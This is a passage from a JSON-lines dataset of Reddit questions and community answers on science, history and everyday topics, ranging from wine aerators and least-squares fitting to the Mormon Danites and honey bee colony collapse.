{"q_id": "2hywin", "title": "Since we breathe in oxygen and breathe out carbon dioxide, there is a loss of carbon atoms. Hence, is it possible to lose weight by quickening breathing pace?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2hywin/since_we_breathe_in_oxygen_and_breathe_out_carbon/", "answers": {"a_id": ["ckxdeed"], "score": [7], "text": ["No, unless you count the calories burned by breathing harder.  Changing rate of breathing only serves to speed up the rate of gas exchange in the lungs.  If you are already exchanging CO2/O2 at peak efficiency, there is no advantage to breathing faster."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "qm771", "title": "is there any supporting evidence for Wine aerators, or is it all placebo? ", "selftext": "my friend has one of those saps you put on your wine bottle, it supposedly airates the wine mixing more oxygen into the liquid. He claims it makes the wine much smoother but i have my doubts. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qm771/is_there_any_supporting_evidence_for_wine/", "answers": {"a_id": ["c3ypmzf", "c3yppiq", "c3ypug4", "c3yta76"], "score": [4, 3, 13, 2], "text": ["Wine does change as it's exposed to air. Here's a fun experiment you can try at home:\n\nPour some wine in two identical glasses. Put your palm over the opening of one of the glasses. Shake vigorously. Wipe your now wet palm clean with a paper towel. Now sniff the two glasses, you should notice a difference.\n\nA [decanter](_URL_0_) is very effective, as is any method that aerates wine. The effect is more pronounced with \"sophisticated\" wines. The smell/taste will change, but making it \"smoothe\" is another thing.\n\nOn another note, could you link to what such a \"sap\" is, because I don't know what you're referring to?", "Anecdotes are usually discouraged, but I'll cheat this time.  Have you actually tried the same wine from the same bottle with and without?\n\nI have one of these (_URL_0_) and it makes the wine taste significantly different.  I hesitate to say better or worse, but certainly different. \n\nWhat exactly it does and how it changes the flavor are subjects of study, but I suggest you try it yourself to remove all doubt that its a placebo.", "You can easily test this with your own double blind test.  Have a tasting party and have someone else pour the wine and do enough for meaningful statistics and report back!", "Wine has a lot of molecules that are reactive with oxygen. You can test this yourself by taking a bottle of wine, drinking half, and then leaving the second half in the fridge for a week - let it come to room temperature and compare to a fresh bottle. You should be able to taste the difference.\n\nAerators work in a similar manner.\n\nIt may or may not make any given wine better, though - depends on the wine. Many people who are experienced with wine swear by aerators, and I think they make a significant difference as well. In general, you get the best results with heavy, young wines that could stand another couple years of aging.\n\nI sold wine for a number of years and have a pretty sensitive palette, so you may not get the same kind of results personally. But there is a good basis to expect some difference in flavor.\n\nI personally use one of these:\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Decanter"], ["http://vinturi.com/products.html"], [], ["http://www.winesoiree.com/"]]}
{"q_id": "5djjuk", "title": "how are roads widened as cities grow?", "selftext": "Travelling through a town, you generally don't see very wide roads - usually just one lane each way. So i was wondering, when you then look at a grown city - how are roads widened, given that in towns and such people have usually already built houses next to these roads, and they're spaced with two-lane roads in mind?\nAnd, perhaps the question translates into... how is city planning done, given you never know how much a town is going to grow before it grows?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5djjuk/eli5_how_are_roads_widened_as_cities_grow/", "answers": {"a_id": ["da50zvc", "da59lot"], "score": [7, 3], "text": ["I live in a town that has had to widen a major road twice.\n\nThe first time the sidewalks and parking lots had to go to make space.\n\nThe second time a few buildings had to go too.\n\nSo your answer is simple: the buildings in the way get bought out and demolished.  The buyout price of a ratty 1960's strip mall or some old frame houses isn't really that much compared to the cost of a major road reconstruction project.", "We wondered why all the houses along a main route near our home were set so far back from the road.\n\nOne day, the crews came in and transformed the 4-lane road into a 6-lane road, plus sidewalks, nice-looking retaining walls and a low-speed access road for the houses.\n\nAll those houses ended up being exactly where you'd think they should be with respect to the new roads. In this case, it had clearly been pre-planned and the homes along the road came with easements for the future expansion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2unmxb", "title": "deconvolution by linear algebra?", "selftext": "(I don't know if this should go to computer science or math, so I'll try math first..)\nHello,\n\nI'm trying to figure out what the method is that I've created to analyze some data; I want to understand it better if it's valid, or to stop using it if it's a bad idea. So, does anyone recognize the following procedure:\n\nI have data in a matrix where every column is a different variable and every row is a time step, so D = [TxV].\n\nI have 'input' that I know has something to do with D, and the input has the form X = [TxP], where P is spatial position.\n\nIf I multiply these together, I get a matrix [PxV], where every column is a spatial field that linearly relates D and X: F = X'D. This is all fine. (Question here: is F a sort of 'optimal' linear model of the relationship between X and D?)\n\nNext, I take this field and recombine it with the input, so I have a smoothed 'model' of the data: M = X(X'D).\n\nThe last step is to subtract M from D (I use a trick here using SVD to get D at the right amplitude relative to M, I don't think I need to explain that). The result, A = D - kM (k is a constant unique to each V), is a version of the data with the linear relationship to the input removed (or I think it is). It feels like I've done some sort of deconvolution, but honestly I don't know what I've done.\n\nAny ideas?\n\nthanks!\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2unmxb/deconvolution_by_linear_algebra/", "answers": {"a_id": ["coa2x0k", "coa31vm"], "score": [2, 11], "text": ["It sounds like you are doing a regression (sort of).  The description of the result:\n\n >  ...is a version of the data with the linear relationship to the input removed...\n\nsounds like the residuals from a regression.  There is a choice of 'k' that would certainly make this the case, but it's not clear what 'k' is (i.e. how it relates to D and X).", "Your description was a little tricky for me to follow. Let me see if I understand it.\n\nYou have an input matrix (I will call it your [independent variable](_URL_1_), because that is what they say in statistics) that looks like this:\n\nX | Position 1 | Position 2 | Position 3 | ...\n---------|----------|----------|----------|----------\nTime 1 | 0.1 | 0.2 | 0.5 | ...\nTime 2 | 0.2 | 0.1 | -0.1 | ...\nTime 3 | 0.3 | 0.3 | 1.2 | ...\n... | ... | ... | ...\n\nAnd a data matrix (the \"dependent variable\") that looks like this:\n\nD | Var 1 | Var 2 | Var 3 | ...\n---------|----------|----------|----------|----------\nTime 1 | 1 | 2 | 5 | ...\nTime 2 | -1 | 3 | 1.5 | ...\nTime 3 | 1 | -12 | 9.1 | ...\n... | ... | ... | ...\n\nYour goal is to:\n\n1. Compute the linear best fit of D, given X.\n\n2. Calculate the [residual](_URL_3_) (the difference between the linear fit above and your data).\n\nIf this is your goal, you are close to the correct formula. Linear Least-Squares Fitting is mathematically equivalent to [matrix projection](_URL_0_). Projection is a well studied concept in linear algebra, [here is the formula](_URL_5_). **If your basis matrix, X, is [orthogonal](_URL_2_)** (which means the magnitude of every column is 1 AND every pair of columns has a dot product of 0) then you have an [orthonormal basis](_URL_4_). Then the formula for projection is:\n\nD_modelled = (X \\* X^T) \\* D_true\n\nHowever, if X is not orthonormal you need to use a modified formula:\n\nD_modelled = X \\* (X^T \\* X)^-1 \\* X^T \\* D_true\n\nIf all the columns of X are orthogonal (meaning pairs of columns have a dot product of 0) **but do not have a magnitude of 1** then the expression simplifies as follows:\n\nX^T \\* X = a * I\n\n(Where a is a row matrix, and I is the identity matrix)\n\n.\\*.  D_modelled = (1/a)^T \\* X \\* X^T \\* D_true\n\n(Where (1/a) is just a with all the values inverted and the entire matrix transposed)\n\nI'm not sure what is involved in your \"SVD\" procedure, but this formula looks very similar to the one you use.\n\nIn the case where the columns of X are orthogonal (meaning pairs of columns have a dot product of 0) but not necessarily normal (meaning they don't have magnitudes of 1) then this formula is correct. If they are NOT orthogonal, your formula is incorrect. If they are \"close\" to orthogonal you can get answers that are \"close\" to correct.\n\n\n----------\n\nEDIT: **On the Deconvolution Question**\n\nConvolution can be combined with linear algebra, as long as you follow it's [rules of operations](_URL_7_). Some distributions have an inverse function that can be used for deconvolution:\n\nIf F = {f} is the fourier transform of f and f =  < F >  is the inverse fourier of F, then d =  <  1 / {c}  >  is the deconvolution function for c (assuming the transform is well-behaved).\n\nLinear algebra is commonly used for deconvolution, and your technique is similar to other techniques I have seen before. However, deconvolution is not something I am an expert on, so I encourage you to look at some other algorithms. [This](_URL_6_) or [this](_URL_8_) looks like a decent place to start."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Linear_least_squares_%28mathematics%29#Properties_of_the_least-squares_estimators", "http://en.wikipedia.org/wiki/Dependent_and_independent_variables", "http://en.wikipedia.org/wiki/Orthogonal_matrix", "http://en.wikipedia.org/wiki/Errors_and_residuals_in_statistics", "http://en.wikipedia.org/wiki/Orthonormal_basis", "http://en.wikipedia.org/wiki/Projection_%28linear_algebra%29#Formulas", "http://eeweb.poly.edu/iselesni/lecture_notes/least_squares/LeastSquares_SPdemos/deconvolution/html/deconv_demo.html", "http://en.wikipedia.org/wiki/Convolution#Algebraic_properties", "http://www.sciencedirect.com/science/article/pii/S0003267001838083"]]}
{"q_id": "79sbny", "title": "What did 'living off the land' in Napoleonic era warfare entail?", "selftext": "I know that 'living off the land'  or 'foraging' are just generally euphemisms for stealing food from local farmers, but I'm wondering how organized the process was.\n\nDid they just let all the men loose and tell them to figure it out themselves? Did they organize it so every squad went to a different farmhouse? Or were there there dedicated troops for this, and the majority of men on the march were expected to stay with the main body?\n\nAnd how large an army could realistically support themselves this way?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/79sbny/what_did_living_off_the_land_in_napoleonic_era/", "answers": {"a_id": ["dp6vpqv"], "score": [2], "text": ["There are a few variations, but we have a good resource for how supply was managed in Carl von Clausewitz's *On War*, specifically one of his more neglected chapters in the middle on supply.\n\nLiving off the land is an old practice, but it developed over time.  Throughout the early modern and Napoleonic periods, it often means literal foraging; armies, upon stopping for the day, would disperse with sickles to gather up grass for the horses.\n\n In the wars of Louis XIV and Frederick the Great, armies would levy *contributions* on the territory, and if the community failed to furnish the supplies, they would carry out *executions*, essentially torching the villages.  During the Thirty Years War, armies reserved the right to exact 'burning money'; if the army claimed it had a right to burn a given building under the laws and customs of war, the owner could give them a monetary payment to avoid this.  This money would then be used to purchase supplies.\n\nThere are four basic methods of supply in the Napoleonic period.\n\n1.  Supply by the individual households of the community\n2. Allowing the troops themselves to gather supplies\n3. Organized requisition carried out through local authorities\n4. Supply by depots -what we all recognize as regular supply lines.\n\nClausewitz recommends the third method most highly; local authorities notified in advance can gather supplies for a column from across a wide area using transport by the local population.  Just as a ballpark number, local authorities can draw for supplies on an area of 100 square miles given a single day of notice; 400 square miles with two days of notice, and 900 with three.  The advancing column needs only to collect the supplies at the designated spot, often paying cash for the supplies when possible.  Armies will form detachment for use by the local officials.  Living off the land was a well organized phenomena during the Napoleonic Wars; the words 'quartermaster' and 'logistics' actually come from officers who would determine where the troops would be quartered or lodged (difference is just whether you use the French or German term).  Columns would send detachments of officers ahead of their advancing units to meet with the local authorities, carrying lists of their men and their supply requirements, and the local authorities would tell them how many buildings suitable for lodging they had, and how much they could supply.  \n\n\nThis method is not iron clad, and isn't as thorough as foraging by the troops themselves, but accomplishes the supply of a large army with a minimum of fuss if it carries a few days of supply with it as a cushion.  Essentially an expansion of the *contribution* system, communities can be threatened by being held responsible for shortfalls, either by direct punishment or by resort to foraging by the troops themselves.  \n\nHe also mentions that the first method has the advantages of being extremely quick and not needing transport, but it presupposes that the troops will be quartered in households, who will furnish supplies for the soldiers there.  \n\nThe second method, requisition by the troops themselves, usually gets a higher yield, as soldiers intent on finding food will clean out the afflicted community.  Indeed, in the Napoleonic period, French units will pull out the best foragers in their units, the men who can find those hidden goodies, and make them the unit's designated foragers.  \n\nIn terms of how many men could supply themselves this way, *quite a lot.*  The numbers Clausewitz uses (again, ballpark, but well informed by study and experience) indicate that a force of 30,000 men can be supplied by a moderately peopled area of ten miles by ten miles quite easily, presuming it hasn't been previously occupied.  Each house will have about a week's worth of bread, and you can expect about 70-80 houses per square mile in a moderately peopled region.  Three such columns side by side can fight together on the battlefield, for a subtotal of 90,000 (which will probably equate to 75,000 fighting troops).  This force can be followed on the next day by another force of 90,000, and suffer no privation; a total of 150,000 men is a substantial force.  Even if 10x10 mile columns aren't enough, 15x15 mile columns more than double the area an army can draw on, which will usually meet their needs.  \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4mm25k", "title": "how is there still money in middle-american towns with zero small/local businesses?", "selftext": "If all of the retail stores in town are big public corporations (e.g. Walmart, McDonalds, HomeDepot, etc.) that just take all the profit they make and pay it out to shareholders (none of whom live in said small town), how does the money not slowly just flow out of the town?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mm25k/eli5how_is_there_still_money_in_middleamerican/", "answers": {"a_id": ["d3wjla3", "d3wjmx4", "d3wjv7b", "d3wlvbf"], "score": [5, 11, 6, 8], "text": ["Every small town has *something* that brings money in and keeps it going: it could be farming, a manufacturing plant, a prison/military base/some other government facility, or oil drilling/mining/timber/some other type of resource extraction.", "Surely some of the people living in that town work for the companies, even if they're big companies.", "You may also be considering what is known as a bedroom community. A bedroom community os commuting distance from a larger metropolitian area which provides employment. The bedroom community may have a few small businesses like a grocer, hardware store, and a few bars and restaraunts, but primarily serves as a home for people who work elsewhere. This is often because they have better schools and amenities than larger cities nearby and a smaller per capita tax rate.", "This is actually a much bigger question than you seem to realize. To understand how big a question this is, lets say all the stores actually were local, so then what, where do all the townpeople still get the money to spend on those stores, where is the real money coming from? So that takes us one level deeper..\n\nIn a large closed system, money in and money out are equal, other than any new money printed by the government. Further, the gov takes taxes away from everybody, and spends/gives that on various things, so at a gov level, taxes in and budget spent are mostly equal as well. Ignoring largely export oriented countries like China or Japan, the economy for most of the rest of the world used to be such that only a small portion of the economy was ever in trade deficit or surplus.. so the real question of understanding the economy is about how money is internally circulated.\n\nNow in theory, a community of any size could be self sufficient, they produce everything they need and consume it internally. So money is only used to trade things back and forth, and so far as taxes taken away equals gov spending back in the communities everything balances out.\n\nIn practice, very few communities are self sufficient, and especially so for small towns and cities. So they end up showing various different dynamics.\n\nSome towns are anchored by particular industries, as you can guess when people talk of a 'mining town' or a 'farming community' or a 'railroad outpost' or a 'college town' and so forth. Basically these industries provide resources, goods, or services to those *outside* of the community and therefore they bring in money from outside into their town. That money then gets circulated inside in various local services, as well as being spent outside again to consume things they dont make locally, including things like electronics and so forth, or many of the things you can get at walmart. \n\nFor many small places, the biggest source of external income is from the gov itself, and this could be for various reasons. Maybe there is a big military base with federal funding. Or a prison. Or a gov research institute. Or a local university that pulls a lot of gov research grants. Or a lot of retirees drawing their social security and other benefits. Or just a lot of poor people getting some medicaid, SSI, disability, foodstamps or other welfare funding. Or there just happens to be a big central office for the post office, or social security administration, or NSA or so forth. Or just some beureucratic center like state capitols and so on. All of these would bring more gov money in than the gov takes away in taxes, thus making the community viable.\n\nThen there are of course commuter towns, where most people go to nearby bigger cities to work and bring money to the local community that supports the local small businesses, restaurants, stores etc. Often times, these also can be partly retirement communities with mostly elderly drawing their benefits and a few commuters still commuting. Suburbs around most big cities often work like this. And many many towns in Florida for instance, are mostly retirement communities.\n\nOccasionally you have places mostly dependent on tourists for income where people from outside come and spend money. And sometimes it might not be obvious.. for instance there might be a big hospital or convention center or corporate headquarters in the city and people from outside come in all the time and spend money there thus supporting the community.\n\nThat said, at any point, there are definitely going to be places where the inflow and outflow are not in balance. So lets say a big factory or mine that used to be source of external money shuts down. Something like this can cause a long term decline in the community where people become poorer, jobs are hard to find, property prices fall, which lowers local taxes, which makes it hard to support local services or maintain good roads or schools, and so on. And this causes more and more people to leave, or their kids to grow up and move away, while with few jobs, not many new people join the community. So over time, unless the city can adapt and find new sources of income and 'revitalize', the place becomes poorer with less and less people and services and wealth. And this indeed happens all the time, and sometimes even to entire regions or big cities. Hence the talk about the rust-belt, or de-industrialization, or the fate of once magnificient cities like Detroit!\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1xeiep", "title": "discovery of the electron", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xeiep/eli5_discovery_of_the_electron/", "answers": {"a_id": ["cfam9mc"], "score": [3], "text": ["The electron was discovered with a cathode ray tube, which is an evacuated chamber that carries a light emitting beam when a voltage is applied to it (used for old TVs and monitors).  \n\nIf you put a magnet near the tube, the beam deflects from a straight path, in the same way that a wire with electricity running through it is attracted or repelled by a magnet.  Using basic physics, one can calculate parameters of the beam by the way it bends.  For example, if the particles composing the beam are very heavy, they will not bend as strongly.\n\nWhat JJ Thompson showed was that the particles in the beam had to be of an extremely small mass, much smaller than even than lightest known atom (Hydrogen), indicating a new particle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3s3217", "title": "What kind of apple trees did Johnny Appleseed (Chapman) plant across the Northwest Territory?", "selftext": "Would it be a breed that still exists today?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3s3217/what_kind_of_apple_trees_did_johnny_appleseed/", "answers": {"a_id": ["cwtqgf3"], "score": [7], "text": ["I suggest reading the book 'Botany of Desire'. One chapter is dedicated to apples, I'll try to summarize from what I remember.\n\nThe popular types of apples you eat all the time come from grafted trees. When you plant an apple seed it's a crap shoot as to what type of apple you will get. Usually it's a crab apple. These are tiny and the taste can vary. Occasionally, you get an awesome apple. This was like striking gold. You can reproduce this tree by grafting parts of it onto other apple trees and grow more awesome apples.\n\nKnowing this fact, it means that Johnny Appleseed was planting trees that would bear mostly crab apples. Crab apples aren't good for eating, but they are good for making cider. Johnny Appleseed was bringing alcohol to the frontier, not Granny Smith's.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3gzux8", "title": "why are people hating on target so much for going gender neutral?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gzux8/eli5_why_are_people_hating_on_target_so_much_for/", "answers": {"a_id": ["cu2yc6r", "cu2ycx2", "cu2z2om", "cu30q8j", "cu31jfu", "cu31my4", "cu32vgh", "cu33z0j"], "score": [37, 9, 8, 5, 2, 2, 6, 2], "text": [" >  Isn't it a good thing?\n\nNot to the people who are upset about this. To them, gender roles are important and should be enforced (or at least encouraged). They might not agree that if a boy likes a doll he should be allowed to play with it.", "Sadly, there will always be people in our society who resist any kind of change, social or other, and react very, *very* loudly to any change in the status quo. They don't really take the time to think about the greater social implications, or even smaller local implications. \n\nThis is a tiny minority of people, but they are very, very loud. ", "It is a great thing. It can be hard to let go of the guidelines of gender. Literally one the first things that defines us in utero or at birth is our gender. It is important as males and females are different but my take on the topic is to encourage thinking outside of previous social norms but relax. Some people take it way too far, let kids be kids. I was one of four, only girl and I often played with the same toys as my brothers did, but also desperately wanted a baby born and a polly pocket - it is who I am and I love to play house and my brothers often joined in more than willingly. It's great to see we as a society are (slowly) becoming more encouraging of nurturing an independence to be who we want to be! It can be hard for people to expand their perceptions which are normal to them, I will admit I often have to catch myself from going straight to the dolls for a little girl or cars for a boy but hey I'm learning. ", "They see it as a loss in a larger war against the normalization of gay rights, transgender rights, and gender equality.  \n\nAs they lose other small battles, and see the country moving toward a world in which what gender you are is less important to who you marry, how you dress, what work you do, or who makes decisions about your life, they focus even more intensely on the idea of a world in which 'male' and 'female' are fundamentally different.  \n\nTeaching the children what 'boys' and 'girls' are supposed to be is essential to keeping that worldview going.  Now, instead of just taking their daughter to the 'girls' aisle and their son to the 'boys' aisle, they'll have to actually say no, and deal with lots of whines of 'but WHYYYYY' when their son wants a Barbie or their daughter wants a Giant Killer Robot Battle Sword.", "A lot of people believe in rigid gender roles, ie \"boys things are for boys and girls things are for girls\" with no overlap. They think a little boy shouldn't play with dolls because it will make him feminine, whereas a girl playing with trucks may make her masculine. A feminine boy and a masculine girl will be bullied by their peers who are masculine boys and feminine girls, or so a lot of parents seem to think. And in some cases, this does happen (I'm thinking of the story of the little girl who was bullied for carrying a \"boys\" Star Wars backpack). However, a lot of these parents also think that gender and sexual preference are connected, and they fear that allowing their child outside of their gender roles will result in homosexuality.\n\nTo those people, I say correlation is not causation. My brother loved to play dress up with me in princess clothes with jewelry loaned to us by my grandmother. He played dolls with me. But at the same time, we played with cars and built amazing things with Legos and we rarely without action figures, whether from Power Rangers or Transformers. My parents really didn't care what \"kind\" of toys we played with so long as we played nicely together and shared. Despite the princess dresses, my brother is a very masculine adult who is straight--and I dare anyone here to make fun of the 6'3\" bearded motorcyclist he's become.\n\nTL;DR: While Target is trying to accomplish the idea that \"children can play with any toys no matter what!\", parents are afraid of their children leaving their gender roles, being bullied, and eventually becoming gay and even more bullied.", "There are many ongoing, societal debates and gender preferences is one of those.  Highly simplified, the \"left\" view is that gender-based preferences or roles are mainly a consequence of societal conditioning.  Adherents will point out that plenty of boys want to play with dolls and plenty of girls want to play with guns.  The \"right\" view says that gender preferences are largely innate.  They will cite studies that show, for example, when you give little boys \"girl\" toys to play with, they will routinely have them fight or turn them into guns.  \n\nBoth sides have valid points.  The reason the Target decision bothers some people is they feel Target is taking sides in this debate.", "It's another instance of social media fueling another battle in the culture wars. The same people who are pissed about this are pissed about Caitlyn Jenner winning an award, store employees saying \"Happy Holidays\" instead of \"Merry Christmas\", and transgender people using the bathroom safely. It's all just so much sound and fury, signifying nothing.", "People who want page clicks will write headlines reporting the most quotidian of events as \"outrage!\" \"shocked!\" \"moms!\". Then, idiots pick up on it and get all excited with the outrage and send out outraged messages. Trolls come along seem a small conflagration and fan the flames and then stroll off chuckling into their hands. The rest of us wind up playing whack-a-mole with our idiot relatives and friends by quoting scientific papers and snopes to get the idiots to calm the fuck down.\n\nLather.\n\nRinse.\n\nRepeat.\n\nThe click farms are the only winners."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "31oqo1", "title": "Can anyone explain why there are wheels on this medieval image of a ship?", "selftext": "[This image was part of a thread in /r/funny ](_URL_0_)\n\nDid this ever actually exist?  Was this sort of depiction in art common?\n\n[Here is the rest of the imgur album](_URL_1_).  There are some more strange images, any insights into why these strange depictions exist would be appreciated.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31oqo1/can_anyone_explain_why_there_are_wheels_on_this/", "answers": {"a_id": ["cq3jik2", "cq3s0u2"], "score": [5, 2], "text": ["Not a historian, but those aren't wheels, they are paddles.  Think like the back of a paddle boat, only on the side.  There would have been people inside turning them to propel through the water\n\n[This](_URL_1_) is a very similar example.  \n\n\nEdit:  [Here](_URL_0_) is a wiki with the same exact picture as your post, saying this particular one would be powered by the oxen on board.  ", "For some added context, the original source is [The Toast](_URL_0_), and this is part of a series."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/wre9VFn.png?1", "http://imgur.com/gallery/brwgR"], "answers_urls": [["http://en.wikipedia.org/wiki/Paddle_steamer#History", "http://www1.chinaculture.org/created/2005-06/21/content_69881.htm"], ["http://the-toast.net/2015/04/01/two-medieval-monks-invent-bestiaries/"]]}
{"q_id": "3p286h", "title": "Did the Mormons have a \"devastatingly effective cadre of assassins\" known as the Danites? Who led them? How wide did their influence spread? Do they still exist?", "selftext": "I'm reading Devil's Gate: Brigham Young and the Great Mormon Handcart Tragedy. The book is obviously about one specific event, but author David Roberts gives some background about various aspects of Mormon culture.  \n\nHe introduces the Danites as, \"The most nefarious organization ever to coalesce within the Mormon church... a devastatingly effective cadre of assassins.\" But less than a page later, he references Leonard J. Arrington's work, Brigham Young: American Moses, which denies that the Danites were much more than \"western fiction.\"  \n\nSo which is it? Mormon assassins or figment of Sir Arthur Conan Doyle's imagination? Thanks in advance for any kind replies.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3p286h/did_the_mormons_have_a_devastatingly_effective/", "answers": {"a_id": ["cw2mzwp", "cw2ntr9"], "score": [158, 22], "text": ["The short answer is that while some stories are most definitely fiction, a majority of them have some basis in truth.  \n\n----\n\nThe longer story is more complex, but here are some quick points you can use to kick off your research: \n\n1.  The group you're referring to were known as the [Danites](_URL_9_). \n\n2. They existed as [a paramilitary force](_URL_14_) directly under the command of Joseph Smith.  Letters also show that they were also used as a [secret police](_URL_3_), primarily to threaten dissidents and maintain theocratic order. \n\n3.  The Danites were involved in both the [1838 Missouri War](_URL_13_) (see also the [salt sermon](_URL_8_))and the [1857 Mormon[Utah]/USA war](_URL_12_).  \n\n4. The build up to the 1838 war involved Danite raids (which were either what instigated or resulted from the Missourian raids, depending on who you ask).  \n\n5. The build up to the 1857 war saw massacres such as the [Mormons Meadows Massacre](_URL_11_) where Danite bands, pretending to be indians, attacked and murdered a wagon train of settlers passing through the territory. Note that a Danite by the name of John D Lee was blamed and excommunicated by the church for instigating the massacre.  He was executed by the government officials for the act. He's of note because he claimed innocence with his [dying breath](_URL_7_).  The church officially and quietly restored his blessings (reversed the excommunication and gave him back his second anointing [guaranteed entry to heaven]), [in 1961](_URL_1_)\n\n4.  Even in the late Utah period, there were [several documented killings](_URL_10_) attributed to the Danites who were enforcing the doctrine of [Blood Atonement](_URL_4_) (the belief that some crimes are not covered by Christ's atonement, and one must shed their own blood through ritual death to atone for them, the accepted forms were slitting of the throat, vivisection, and disembowelment.  These were mimed in the [temple ceremony](_URL_0_) up until the [1990 changes](_URL_6_) )\n\n7.  In recent years, the LDS church has admitted the existence of the Danites in one of their [apologetic essays](_URL_2_); however, they distance the Danites from the early leadership of the church.  This is still an improvement over [the 1970 claims that the Danites were fictional](_URL_5_)\n\nI hope that helps. ", "_URL_0_\n\nYou can start on phone 97.  Testimony of Sampson Avard.  The church has tried to hide or spin this very damming evidence.  The church's version is that a group of Mormons formed the group without their direction.  But the group's whole purpose is to keep the members loyal to the leaders even using force.  They are to kill anyone who won't obey when they invade the non Mormon communities.\n\nAffidavit of Thomas B Marsh (misspelled as March) on page 57 also adds insight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ldsendowment.org/historicaldocs.html", "https://www.reddit.com/r/exmormon/comments/28ay4a/til_john_d_lee_executed_and_excommunicated_for/", "https://www.lds.org/topics/peace-and-violence-among-19th-century-latter-day-saints?lang=eng", "http://www.utlm.org/newsletters/no106.htm#Danites", "https://en.wikipedia.org/w/index.php?title=Blood_atonement&amp;oldid=680074652#Historical_and_doctrinal_background", "https://www.lds.org/new-era/1972/03/through-gentile-eyes-a-hundred-years-of-the-mormon-in-fiction?lang=eng", "https://www.reddit.com/r/exmormon/comments/1r872i/down_to_nuts_and_bolts_what_was_doctrinally/", "http://law2.umkc.edu/faculty/projects/ftrials/mountainmeadows/leeconfession.html", "https://en.wikipedia.org/w/index.php?title=Salt_Sermon&amp;oldid=681243658", "https://en.wikipedia.org/w/index.php?title=Danite&amp;oldid=680213517", "https://en.wikipedia.org/w/index.php?title=Blood_atonement&amp;oldid=680074652#Rumors_of_blood_atonement_enforcement_by_Utah-era_Danites", "http://1857massacre.com/MMM/danites_index.htm", "https://en.wikipedia.org/w/index.php?title=Utah_War&amp;oldid=685823012", "https://en.wikipedia.org/w/index.php?title=1838_Mormon_War&amp;oldid=681196672", "http://mormonthink.com/glossary/danites.htm"], ["https://archive.org/details/documentcontaini00miss"]]}
{"q_id": "18m64r", "title": "Is there any consensus on what caused the decline in honey bees and colony collapse disorder?", "selftext": "I hear less about this issue in mainstream media than I did a year or two ago.  Have some of theories been debunked or has one become the prevailing opinion?  Off the top of my head I recall suggested links to:  cellphone electromagnetic radiation; pesticides; some type of parasite; and genetically modified crops.\n\nAnd are there any signs the problem is reversing itself or at least stabilizing?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18m64r/is_there_any_consensus_on_what_caused_the_decline/", "answers": {"a_id": ["c8g19zw", "c8g1ygl", "c8g4ztr", "c8g5rk6", "c8g6xpo", "c8g7lv2"], "score": [6, 8, 4, 2, 4, 2], "text": ["In short, no.  \n\nThere are a lot of issues going on, and the likely answer will be that some of them contribute to the problem.  People have looked at all sorts of problems.  Some think it's specific (types of) pesticides that are causing these problems.  Others think it could be a viral infection, or a mite infection.  Still others are looking to see if we see a shift in the normal (ie healthy/helpful) bacteria we see in colonies.  And while we've certainly learned a lot, none of these things seems to be The Answer.", "Kinda. I went to a talk by one of the lead researchers on this, it was a while ago and I can't remember every detail but I will try to explain what they think. So most insects have a few proteins that can get rid of toxins in their systems, but honey bees proteins have fused into one. This means that if the bees are exposed to one pesticide or w/e then they are fine. The problem is when they are exposed to two or three or more, they can not keep up with it and they die. \n\nThis is especially a problem because they are exposed to a lot of toxins. People seem to forget that bees are insects, so when the colony gets mites they put mite killer inside of the hives. I believe the mite killer damages the mites exoskeleton, but bees also have exoskeletons. And then they fly out to the fields that have been sprayed by pesticide and rub all over everything. Or fly into mosquito spray, or any of the other bug killers that we like to use.\n\nSo really it's not a \"this one specific pesticide kills bees\" but a sort of straw on a camels back scenario.\n\nEdit: here is a video interviewing Dr. Berebaum who studys CCD : \n\n_URL_0_\n\nI did not watch it but I assume she talks about this.\n\nFound a summery of her talk\n\n >  Dr. Berebaum and her colleague Dr. Gene Robinson and their graduate student Reed Johnson used genomic studies involving the microarray to determine that honeybees have fragmented ribosomes that lessen their potential to mount an effective immune system response against viral disease. Increased exposure to potent insecticides in combination with multiple viral exposures seems likely to be sufficient to tip hive populations into collapse. There does not seem to be any single agent that causes CCD and the most effective means of counteracting it is to lessen the stressors on hives that can push them into collapse.", "Is this problem getting worse still? Or has the decline of bee colonies stabilized? ", "This is likely a compound issue. But when scientists study things in the lab, for example, how pesticides affect honey bees (and there are no mites in the lab), then they don't see a clear problem because pesticides alone don't have much affect on the honey bee population they are studying. But  one article I read had this theory: pesticides reduce the honey bees' immune system function, and then they become infested with mites, and then the colony starts to collapse. \n\nIt's still not clear cut what the problem is, but in some localized areas, the problem is very serious. Farmers can only pollinate their crops by trucking in commercial bees, but the commercial bee farmers might also be seeing losses of 50-60% of their bees. \n\nAnother part of the theory is one or more pesticides affect 